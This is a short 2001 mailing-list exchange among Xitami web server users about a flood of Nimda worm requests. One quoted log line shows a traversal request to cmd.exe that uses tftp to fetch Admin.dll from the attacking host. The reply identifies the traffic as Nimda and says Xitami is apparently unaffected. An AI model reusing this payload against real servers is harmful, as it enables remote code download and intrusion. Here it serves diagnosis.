[Xitami] "GET /scripts/.......

[xitami@lists.xitami.org]

> | > Today I'm getting many thousands of hits from hundreds of 
> IP's on a
> | > single Win95 machine running only Xitami b5.  The log shows the
> | > following...
> | >
> | > 216.254.74.234 - - [18/Sep/2001:15:50:57 -0500] "GET
> | > /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-
> | > i%20216.254.74.234%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
> | > 200 -1 "" ""
> | >
> | > Most are just 404's trying to find root.exe or cmd.exe 
> but some are like
> | > the above.  Is it simply my turn this crap today?

It's about that nimda-virus.

I've got the same problem with my w98se/xitami version.
The log files grow extremely large so I've tuned the maximum KB of the log
files down a bit.

For as far as I can see now the system is not infected and the virus only
touches IIS and PWS servers, xitami is not infected as far as I know.

Greetings,